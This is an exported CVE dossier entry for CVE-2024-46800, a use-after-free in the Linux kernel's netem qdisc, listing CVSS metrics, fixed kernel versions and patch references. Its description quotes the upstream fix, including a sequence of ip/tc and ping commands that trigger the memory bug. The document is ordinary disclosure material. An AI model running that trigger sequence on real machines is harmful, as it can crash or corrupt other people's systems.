---
cve: "CVE-2024-46800"
severity: "HIGH"
cvss: 7.8
epss: "27%"
vendor: "Linux"
kev: false
exploited: false
published: "2024-09-18 08:15:06"
tags: [cve, security, high]
source: tsecurity.de CVE-Dossier
exported: "2026-09-08T21:33:45+02:00"
---

# CVE-2024-46800

> 7.8 HIGH

## Beschreibung

In the Linux kernel, the following vulnerability has been resolved:

sch/netem: fix use after free in netem_dequeue

If netem_dequeue() enqueues packet to inner qdisc and that qdisc
returns __NET_XMIT_STOLEN. The packet is dropped but
qdisc_tree_reduce_backlog() is not called to update the parent's
q.qlen, leading to the similar use-after-free as Commit
e04991a48dbaf382 ("netem: fix return value if duplicate enqueue
fails")

Commands to trigger KASAN UaF:

ip link add type dummy
ip link set lo up
ip link set dummy0 up
tc qdisc add dev lo parent root handle 1: drr
tc filter add dev lo parent 1: basic classid 1:1
tc class add dev lo classid 1:1 drr
tc qdisc add dev lo parent 1:1 handle 2: netem
tc qdisc add dev lo parent 2: handle 3: drr
tc filter add dev lo parent 3: basic classid 3:1 action mirred egress
redirect dev dummy0
tc class add dev lo classid 3:1 drr
ping -c1 -W0.01 localhost # Trigger bug
tc class del dev lo classid 1:1
tc class add dev lo classid 1:1 drr
ping -c1 -W0.01 localhost # UaF

## CVSS-Vektor

```
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
```

| Metrik | Wert | Bewertung |
|---|---|---|
| AV Angriffsvektor | Lokal | good |
| AC Komplexität | Gering | bad |
| PR Privilegien | Gering | warn |
| UI Interaktion | Keine | bad |
| S Scope | Unverändert | good |
| C Vertraulichkeit | Hoch | bad |
| I Integrität | Hoch | bad |
| A Verfügbarkeit | Hoch | bad |

## Patch verfügbar (OSV)

- Kernel ≥ 4.19.322
- Kernel ≥ 5.4.284
- Kernel ≥ 5.10.226
- Kernel ≥ 5.15.167
- Kernel ≥ 6.1.110
- Kernel ≥ 6.6.51
- Kernel ≥ 6.10.10

## Referenzen

- <https://git.kernel.org/stable/c/f0bddb4de043399f16d1969dad5ee5b984a64e7b>
- <https://git.kernel.org/stable/c/295ad5afd9efc5f67b86c64fce28fb94e26dc4c9>
- <https://git.kernel.org/stable/c/98c75d76187944296068d685dfd8a1e9fd8c4fdc>
- <https://git.kernel.org/stable/c/14f91ab8d391f249b845916820a56f42cf747241>
- <https://git.kernel.org/stable/c/db2c235682913a63054e741fe4e19645fdf2d68e>
- <https://git.kernel.org/stable/c/dde33a9d0b80aae0c69594d1f462515d7ff1cb3d>
- <https://git.kernel.org/stable/c/32008ab989ddcff1a485fa2b4906234c25dc5cd6>
- <https://git.kernel.org/stable/c/3b3a2a9c6349e25a025d2330f479bc33a6ccb54a>
- <https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html>
- <https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html>

---
_Exportiert aus dem [tsecurity.de CVE-Dossier](https://tsecurity.de/cve?cve=CVE-2024-46800) · Datenquellen: EUVD (ENISA), NVD, OSV, CISA KEV, FIRST EPSS, Exploit-DB, BSI BITS_